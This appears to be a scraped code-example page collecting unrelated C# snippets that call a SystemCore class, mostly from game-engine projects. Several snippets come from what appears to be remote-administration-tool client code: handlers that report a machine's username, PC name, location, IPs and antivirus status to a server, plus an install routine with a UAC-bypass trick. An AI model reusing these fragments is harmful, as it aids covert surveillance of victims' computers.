/// <summary>
        /// There's some nasty overhead here and this can take several seconds to run. Luckily it
        /// only runs on the very first request when the HttpApplication is starting up for the
        /// first time. This is not called again until a new HttpApplication object needs to be
        /// created, at which point the process is repeated.
        /// </summary>
        /// <param name="app"></param>
        void InitialiseSystemCore(HttpApplication app)
        {
            SystemCore core = new SystemCore();

            SystemCore.Instance = core;
            core.Initialise();
        }
Ejemplo n.º 2
0
 public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
 {
     GeoLocationHelper.Initialize();
     new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                                                         GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
                                                         SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
 }
Ejemplo n.º 3
0
        public override void Render(GameTime gameTime)
        {
            SystemCore.GraphicsDevice.Clear(Color.CornflowerBlue);

            DebugText.Write(SystemCore.GetSubsystem <FPSCounter>().FPS.ToString());
            base.Render(gameTime);
        }
Ejemplo n.º 4
0
        public override void Update(GameTime gameTime)
        {
            if (!SystemCore.CursorVisible)
            {
                EvaluateMouseCamControls(gameTime);
            }

            if (input.EvaluateInputBinding("SwitchCamera"))
            {
                if (SystemCore.ActiveCamera is ComponentCamera)
                {
                    SystemCore.SetActiveCamera(mouseCamera);
                }
                else
                {
                    SystemCore.SetActiveCamera(cameraObject.GetComponent <ComponentCamera>());
                }
            }

            if (input.EvaluateInputBinding("MainMenu"))
            {
                SystemCore.ScreenManager.AddAndSetActive(new MainMenuScreen());
            }

            EvaluateCamera();



            base.Update(gameTime);
        }
Ejemplo n.º 5
0
        public MainMenuScreen()
            : base()
        {
            string screenOne   = "Combat Test";
            string screenTwo   = "Procedural Test";
            string screenThree = "Editor Test";


            SystemCore.GetSubsystem <GUIManager>().CreateDefaultMenuScreen("Grid Forge", SystemCore.ActiveColorScheme, screenOne, screenTwo, screenThree);
            SystemCore.CursorVisible = true;

            Button b = SystemCore.GetSubsystem <GUIManager>().GetControl(screenOne) as Button;

            b.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new CombatArenaTest());
            };

            Button a = SystemCore.GetSubsystem <GUIManager>().GetControl(screenTwo) as Button;

            a.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new ProceduralTerrainTestScreen());
            };


            Button c = SystemCore.GetSubsystem <GUIManager>().GetControl(screenThree) as Button;

            c.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new EditorTest());
            };
        }
Ejemplo n.º 6
0
 public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client)
 {
     SystemCore.InitializeGeoIp();
     new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                                          SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex,
                                          SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
 }
Ejemplo n.º 7
0
 public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client)
 {
     try
     {
         string[] infoCollection = new string[20];
         infoCollection[0]  = "Processor (CPU)";
         infoCollection[1]  = SystemCore.GetCpu();
         infoCollection[2]  = "Memory (RAM)";
         infoCollection[3]  = string.Format("{0} MB", SystemCore.GetRam());
         infoCollection[4]  = "Video Card (GPU)";
         infoCollection[5]  = SystemCore.GetGpu();
         infoCollection[6]  = "Username";
         infoCollection[7]  = SystemCore.GetUsername();
         infoCollection[8]  = "PC Name";
         infoCollection[9]  = SystemCore.GetPcName();
         infoCollection[10] = "Uptime";
         infoCollection[11] = SystemCore.GetUptime();
         infoCollection[12] = "LAN IP Address";
         infoCollection[13] = SystemCore.GetLanIp();
         infoCollection[14] = "WAN IP Address";
         infoCollection[15] = SystemCore.WANIP;
         infoCollection[16] = "Antivirus";
         infoCollection[17] = SystemCore.GetAntivirus();
         infoCollection[18] = "Firewall";
         infoCollection[19] = SystemCore.GetFirewall();
         new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
     }
     catch
     { }
 }
Ejemplo n.º 8
0
        public void Update(GameTime gameTime)
        {
            InputManager input = SystemCore.GetSubsystem <InputManager>();

            bool mouseOver = false;

            foreach (BaseControl control in controls)
            {
                control.Update(gameTime, input);

                if (control.MouseOver)
                {
                    mouseOver = true;
                }
            }
            MouseOverGUIElement = mouseOver;


            //remove old controls
            foreach (BaseControl c in controlsToRemove)
            {
                controls.Remove(c);
            }

            controlsToRemove.Clear();

            foreach (BaseControl c in controlsToAdd)
            {
                controls.Add(c);
            }

            controlsToAdd.Clear();

            GuiTransitionManager.Update(gameTime);
        }
Ejemplo n.º 9
0
        public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client)
        {
            try
            {
                string[] infoCollection = new string[] {
                    "Processor (CPU)",
                    SystemCore.GetCpu(),
                    "Memory (RAM)",
                    string.Format("{0} MB", SystemCore.GetRam()),
                    "Video Card (GPU)",
                    SystemCore.GetGpu(),
                    "Username",
                    SystemCore.GetUsername(),
                    "PC Name",
                    SystemCore.GetPcName(),
                    "Uptime",
                    SystemCore.GetUptime(),
                    "LAN IP Address",
                    SystemCore.GetLanIp(),
                    "WAN IP Address",
                    SystemCore.WANIP,
                    "Antivirus",
                    SystemCore.GetAntivirus(),
                    "Firewall",
                    SystemCore.GetFirewall()
                };

                new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
            }
            catch
            { }
        }
Ejemplo n.º 10
0
        public void Initalise()
        {
            currentVertices = new List <Vector3>();

            SystemCore.ActiveScene.SetUpAmbientAndFullLightingRig();

            SystemCore.ActiveScene.AddPointLight(new Vector3(0, 15, 0), Color.White, 20, 20, 1, PointLightNumber.One);
            SystemCore.ActiveScene.AddPointLight(new Vector3(0, -15, 0), Color.White, 20, 20, 1, PointLightNumber.Two);
            SystemCore.ActiveScene.AddPointLight(new Vector3(0, 0, 15), Color.White, 20, 20, 1, PointLightNumber.Three);
            SystemCore.ActiveScene.AddPointLight(new Vector3(0, 0, -15), Color.White, 20, 20, 1, PointLightNumber.Four);

            SystemCore.AddNewUpdateRenderSubsystem(new SkyDome(Color.LightGray, Color.Gray, Color.DarkBlue));

            shapeBuilder = new ProceduralShapeBuilder();
            CurrentMode  = EditMode.Voxel;
            shapesToBake = new Dictionary <GameObject.GameObject, ProceduralShape>();


            cameraGameObject = new GameObject.GameObject("camera");
            cameraGameObject.AddComponent(new ComponentCamera());
            cameraGameObject.Transform.SetPosition(new Vector3(0, 0, 20));
            cameraGameObject.Transform.SetLookAndUp(new Vector3(0, 0, -1), new Vector3(0, 1, 0));
            SystemCore.GameObjectManager.AddAndInitialiseGameObject(cameraGameObject);
            SystemCore.SetActiveCamera(cameraGameObject.GetComponent <ComponentCamera>());


            mouseCursor = GameObjectFactory.CreateRenderableGameObjectFromShape(new ProceduralCube(),
                                                                                EffectLoader.LoadSM5Effect("flatshaded"));
            SystemCore.GameObjectManager.AddAndInitialiseGameObject(mouseCursor);



            AddGUI();
        }
Ejemplo n.º 11
0
        public override void OnInitialise()
        {
            fpsLabel.Visible = true;
            SystemCore.ActiveScene.SetUpBasicAmbientAndKey();
            SystemCore.ActiveScene.SetDiffuseLightDir(0, new Vector3(0.01f, 1, 0.01f));
            SystemCore.ActiveScene.FogEnabled = false;

            //mouse camera
            mouseCamera           = new MouseFreeCamera(new Vector3(0, 0, 0), 1f, 50000f);
            mouseCamera.moveSpeed = 1f;
            mouseCamera.SetPositionAndLook(new Vector3(0, 200, -200), (float)Math.PI, (float)-Math.PI / 5);
            SystemCore.SetActiveCamera(mouseCamera);



            AddInputBindings();



            SetUpGameWorld();



            base.OnInitialise();
        }
Ejemplo n.º 12
0
        public override void OnInitialise()
        {
            GameSimRules rules = new GameSimRules();

            rules.FragWinLimit  = 20;
            rules.RespawnTime   = 5;
            rules.GameTimeLimit = 300;

            var gameSim = new GameSimulation(rules);

            SystemCore.AddNewUpdateRenderSubsystem(gameSim);
            SystemCore.CursorVisible = true;
            SystemCore.ActiveScene.SetUpAmbientAndFullLightingRig();

            cameraObject = new GameObject();
            cameraObject.AddComponent(new ComponentCamera(MathHelper.PiOver4, SystemCore.GraphicsDevice.Viewport.AspectRatio, 1f, 200f, false));
            SystemCore.GameObjectManager.AddAndInitialiseGameObject(cameraObject);
            SystemCore.SetActiveCamera(cameraObject.GetComponent <ComponentCamera>());
            cameraObject.Transform.AbsoluteTransform = Matrix.CreateWorld(new Vector3(0, 200, 0), new Vector3(0, -1, 0), new Vector3(0, 0, 1));



            host = WebHostHelper.CreateWebHost(gameSim);


            base.OnInitialise();
        }
Ejemplo n.º 13
0
        public override async Task Execute()
        {
            while (true)
            {
                await SystemCore.NextFrame();

                Console.WriteLine(GetThreadId() + "Start Down");

                Fiber fiber = new Fiber();
                fiber.SetAction(Down);
                fiber.Start();


                string baidu = await DownHtml(fiber, "http://www.baidu.com");

                string QQ = await DownHtml(fiber, "http://www.QQ.com");


                Console.WriteLine(GetThreadId() + "Baidu HTML LENGTH:" + baidu.Length);

                Console.WriteLine(GetThreadId() + "QQ HTML LENGTH:" + QQ.Length);

                Console.WriteLine(GetThreadId() + "Down Close");

                await Task.Delay(10000);
            }
        }
Ejemplo n.º 14
0
        private void AddInputBindings()
        {
            input = SystemCore.GetSubsystem <InputManager>();
            input.AddKeyDownBinding("CameraForward", Keys.Up);
            input.AddKeyDownBinding("CameraBackward", Keys.Down);
            input.AddKeyDownBinding("CameraLeft", Keys.Left);
            input.AddKeyDownBinding("CameraRight", Keys.Right);
            input.AddKeyPressBinding("CameraRotateLeft", Keys.N);
            input.AddKeyPressBinding("CameraRotateRight", Keys.M);

            input.AddKeyPressBinding("MainMenu", Keys.Escape);

            input.AddKeyPressBinding("SwitchCamera", Keys.Enter);

            var releaseMouseBinding = input.AddKeyPressBinding("MouseRelease", Keys.M);

            releaseMouseBinding.InputEventActivated += (x, y) =>
            {
                releaseMouse             = !releaseMouse;
                SystemCore.CursorVisible = releaseMouse;
            };

            var binding = input.AddKeyPressBinding("WireframeToggle", Keys.Space);

            binding.InputEventActivated += (x, y) => { SystemCore.Wireframe = !SystemCore.Wireframe; };
        }
Ejemplo n.º 15
0
        public MainMenuScreen()
            : base()
        {
            string screenOne   = "Pong";
            string screenTwo   = "Two";
            string screenThree = "Three";


            SystemCore.GetSubsystem <GUIManager>().CreateDefaultMenuScreen("Main Menu", SystemCore.ActiveColorScheme, screenOne, screenTwo, screenThree);
            SystemCore.CursorVisible = true;

            Button b = SystemCore.GetSubsystem <GUIManager>().GetControl(screenOne) as Button;

            b.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new PongScreen());
            };

            Button a = SystemCore.GetSubsystem <GUIManager>().GetControl(screenTwo) as Button;

            a.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new RenderTestScreen());
            };

            Button c = SystemCore.GetSubsystem <GUIManager>().GetControl(screenThree) as Button;

            c.OnClick += (sender, args) =>
            {
                SystemCore.ScreenManager.AddAndSetActive(new RenderTestScreen());
            };
        }
Ejemplo n.º 16
0
 public override void OnRemove()
 {
     SystemCore.GUIManager.ClearAllControls();
     SystemCore.GameObjectManager.ClearAllObjects();
     input.ClearBindings();
     SystemCore.RemoveSubsystem(modelEditor);
     base.OnRemove();
 }
Ejemplo n.º 17
0
        public override void OnInitialise()
        {
            modelEditor = new SimpleModelEditor(10);
            SystemCore.ActiveScene.FogEnabled = false;

            SystemCore.AddNewUpdateRenderSubsystem(modelEditor);
            base.OnInitialise();
        }
Ejemplo n.º 18
0
        public override void Update(GameTime gameTime)
        {
            if (!SystemCore.CursorVisible)
            {
                if (input.EvaluateInputBinding("CameraForward"))
                {
                    mouseCamera.MoveForward();
                }
                if (input.EvaluateInputBinding("CameraBackward"))
                {
                    mouseCamera.MoveBackward();
                }
                if (input.EvaluateInputBinding("CameraLeft"))
                {
                    mouseCamera.MoveLeft();
                }
                if (input.EvaluateInputBinding("CameraRight"))
                {
                    mouseCamera.MoveRight();
                }

                if (!releaseMouse)
                {
                    mouseCamera.Update(gameTime, input.MouseDelta.X, input.MouseDelta.Y);
                    input.CenterMouse();
                }
            }

            if (input.EvaluateInputBinding("MainMenu"))
            {
                SystemCore.ScreenManager.AddAndSetActive(new MainMenuScreen());
            }


            //DiffuseLight light = SystemCore.ActiveScene.LightsInScene[0] as DiffuseLight;
            //light.LightDirection = Vector3.Transform(light.LightDirection, Matrix.CreateRotationY(0.001f));

            List <GameObject> activeGameObjects = SystemCore.GetSubsystem <GameObjectManager>().GetAllObjects();
            BoundingBox       testVolume        = new BoundingBox(new Vector3(-100, -100, -100), new Vector3(100, 100, 100));

            foreach (GameObject activeGameObject in activeGameObjects)
            {
                if (testVolume.Contains(activeGameObject.Transform.AbsoluteTransform.Translation) == ContainmentType.Disjoint)
                {
                    activeGameObject.Transform.SetPosition(-activeGameObject.Transform.AbsoluteTransform.Translation);
                }
            }

            var particleSystem = crate.GetComponent <SquareParticleSystem>();

            if (particleSystem != null)
            {
                particleSystem.AddParticle(crate.Transform.AbsoluteTransform.Translation, Vector3.Up);
            }

            base.Update(gameTime);
        }
Ejemplo n.º 19
0
    private static void Cmdme()
    {
        SystemCore ma = new SystemCore();

        while (true)
        {
            Console.Write(">> ");
            ma.IntepreteCode(Console.ReadLine());
        }
    }
Ejemplo n.º 20
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath          = Application.ExecutablePath;
            SystemCore.InstallPath     = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType     = SystemCore.GetAccountType();
            SystemCore.InitializeGeoIp();

            if (Settings.ENABLEUACESCALATION)
            {
                if (SystemCore.TryUacTrick())
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }
            }

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                new Thread(SystemCore.UserIdleThread).Start();

                InitializeClient();
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                SystemCore.Install();
            }
        }
Ejemplo n.º 21
0
        public override void Update(GameTime gameTime)
        {
            if (input.EvaluateInputBinding("MainMenu"))
            {
                SystemCore.ScreenManager.AddAndSetActive(new MainMenuScreen());
            }


            if (input.EvaluateInputBinding("CameraForward"))
            {
                mouseCamera.MoveForward();
            }
            if (input.EvaluateInputBinding("CameraBackward"))
            {
                mouseCamera.MoveBackward();
            }
            if (input.EvaluateInputBinding("CameraLeft"))
            {
                mouseCamera.MoveLeft();
            }
            if (input.EvaluateInputBinding("CameraRight"))
            {
                mouseCamera.MoveRight();
            }

            RayCastResult result;

            if (input.MouseLeftPress())
            {
                Matrix            camWorld = Matrix.Invert(SystemCore.ActiveCamera.View);
                BEPUutilities.Ray ray      = new BEPUutilities.Ray(camWorld.Translation.ToBepuVector(), camWorld.Forward.ToBepuVector());

                if (SystemCore.PhysicsSimulation.RayCast(ray, out result))
                {
                    Debugger.Break();
                }
            }

            mouseCamera.Update(gameTime, input.MouseDelta.X, input.MouseDelta.Y);
            input.CenterMouse();

            List <GameObject> activeGameObjects = SystemCore.GetSubsystem <GameObjectManager>().GetAllObjects();
            BoundingBox       testVolume        = new BoundingBox(new Vector3(-100, -100, -100), new Vector3(100, 100, 100));

            foreach (GameObject activeGameObject in activeGameObjects)
            {
                if (testVolume.Contains(activeGameObject.Transform.AbsoluteTransform.Translation) == ContainmentType.Disjoint)
                {
                    activeGameObject.Transform.SetPosition(-activeGameObject.Transform.AbsoluteTransform.Translation);
                }
            }

            base.Update(gameTime);
        }
Ejemplo n.º 22
0
        public override void OnInitialise()
        {
            base.OnInitialise();

            SystemCore.Game.Window.Title = "Conway's Game of Life";

            mouseCamera = new MouseFreeCamera(new Vector3(0, 0, 0));
            SystemCore.SetActiveCamera(mouseCamera);
            mouseCamera.moveSpeed = 0.01f;
            mouseCamera.SetPositionAndLook(new Vector3(50, 30, -20), (float)Math.PI, (float)-Math.PI / 5);


            SystemCore.ActiveScene.SetUpAmbientAndFullLightingRig();
            SystemCore.ActiveScene.AmbientLight.LightIntensity = 0.075f;
            SystemCore.ActiveScene.GetBackLight().LightIntensity = 0f;
            SystemCore.ActiveScene.GetFillLight().LightIntensity = 0.1f;
            SystemCore.ActiveScene.FogEnabled = false;

            SystemCore.CursorVisible = true;
            //fpsLabel.Visible = true;


            skyDome = new GradientSkyDome(Color.LightGray, Color.DarkGray);

            simulationTickTimer         = new XNATimer(tickFrequency, x => RunSimulationTick(x));
            simulationTickTimer.Enabled = true;

            AddInputBindings();


            // var heightMapObject = CreateHeightMapGameObject();
            //SystemCore.GameObjectManager.AddAndInitialiseGameObject(heightMapObject);


            CreateGameOfLifeBoard();


            cameraGameObject = new GameObject("camera");
            cameraGameObject.AddComponent(new ComponentCamera());
            cameraGameObject.Transform.SetPosition(new Vector3(50, 15, 50));

            Vector3 lookAt = Vector3.Normalize(boardMidpoint - cameraGameObject.Position);

            cameraGameObject.Transform.SetLookAndUp(lookAt, Vector3.Up);
            SystemCore.GameObjectManager.AddAndInitialiseGameObject(cameraGameObject);
            SystemCore.SetActiveCamera(cameraGameObject.GetComponent <ComponentCamera>());

            //var sphere = GameObjectFactory.CreateRenderableGameObjectFromShape(new ProceduralSphere(10, 10), EffectLoader.LoadSM5Effect("flatshaded"));
            //sphere.Transform.SetPosition(boardMidpoint);
            //sphere.Transform.Scale = 5f;
            //SystemCore.GameObjectManager.AddAndInitialiseGameObject(sphere);

            AddGUI();
        }
Ejemplo n.º 23
0
        public override async Task Execute()
        {
            while (true)
            {
                await SystemCore.NextFrame();

                await Task.Delay(1000);

                Console.WriteLine(GetThreadId() + DateTime.Now);
            }
        }
Ejemplo n.º 24
0
        public override async Task Execute()
        {
            Console.WriteLine("My Name is " + Name);

            while (true)
            {
                await SystemCore.NextFrame();

                testcab.SetSync <string>(Name);
            }
        }
Ejemplo n.º 25
0
        private void AddInputBindings()
        {
            input = SystemCore.GetSubsystem <InputManager>();
            input.AddKeyDownBinding("CameraForward", Keys.Up);
            input.AddKeyDownBinding("CameraBackward", Keys.Down);
            input.AddKeyDownBinding("CameraLeft", Keys.Left);
            input.AddKeyDownBinding("CameraRight", Keys.Right);

            var binding = input.AddKeyPressBinding("WireframeToggle", Keys.Space);

            binding.InputEventActivated += (x, y) => { SystemCore.Wireframe = !SystemCore.Wireframe; };
        }
Ejemplo n.º 26
0
        public override void OnInitialise()
        {
            SystemCore.CursorVisible = false;
            fpsLabel.Visible         = true;

            mouseCamera = new MouseFreeCamera(new Vector3(0, 0, 0));
            SystemCore.SetActiveCamera(mouseCamera);



            AddInputBindings();
            base.OnInitialise();
        }
Ejemplo n.º 27
0
        public void TestSelect_WithExistentCore_ShouldReturnSuccessMessage()
        {
            ICore dummyCore = new SystemCore("A", 20);

            this.testNuclearPowerPlant.AttachCore(dummyCore);

            ICommand testCommand   = new SelectCommand(this.testNuclearPowerPlant, "A");
            String   actualMessage = testCommand.Execute();

            String expectedMessage = "Currently selected Core A!";

            Assert.AreEqual(expectedMessage, actualMessage, "Select command does not work correctly!");
        }
Ejemplo n.º 28
0
 public SpaceShipCamera(SpaceShip ship)
 {
     this.ship   = ship;
     chaseCamera = new ChaseCamera();
     chaseCamera.DesiredPositionOffset = new Microsoft.Xna.Framework.Vector3(0.0f, 40f, 55f);
     chaseCamera.LookAtOffset          = new Microsoft.Xna.Framework.Vector3(0.0f, 0.0f, 0);
     chaseCamera.Stiffness             = 2000;
     chaseCamera.Damping = 600;
     chaseCamera.Mass    = 50f;
     chaseCamera.NearZ   = 0.5f;
     chaseCamera.FarZ    = 10000.0f;
     SystemCore.SetActiveCamera(chaseCamera);
 }
Ejemplo n.º 29
0
        public override async Task Execute()
        {
            while (true)
            {
                await SystemCore.NextFrame();

                string a = await GetArgs();

                Console.WriteLine(GetThreadId() + "Id:{0}", a);

                await Task.Delay(2000);
            }
        }
Ejemplo n.º 30
0
        private void AddPhysicsCube()
        {
            ProceduralCube shape      = new ProceduralCube();
            var            gameObject = new GameObject();

            gameObject.AddComponent(new RenderGeometryComponent(BufferBuilder.VertexBufferBuild(shape),
                                                                BufferBuilder.IndexBufferBuild(shape), shape.PrimitiveCount));
            gameObject.AddComponent(new EffectRenderComponent(EffectLoader.LoadSM5Effect("flatshaded")));
            gameObject.AddComponent(new ShadowCasterComponent());
            gameObject.AddComponent(new PhysicsComponent(true, true, PhysicsMeshType.box));
            gameObject.Transform.SetPosition(RandomHelper.GetRandomVector3(10, 100));
            SystemCore.GetSubsystem <GameObjectManager>().AddAndInitialiseGameObject(gameObject);
        }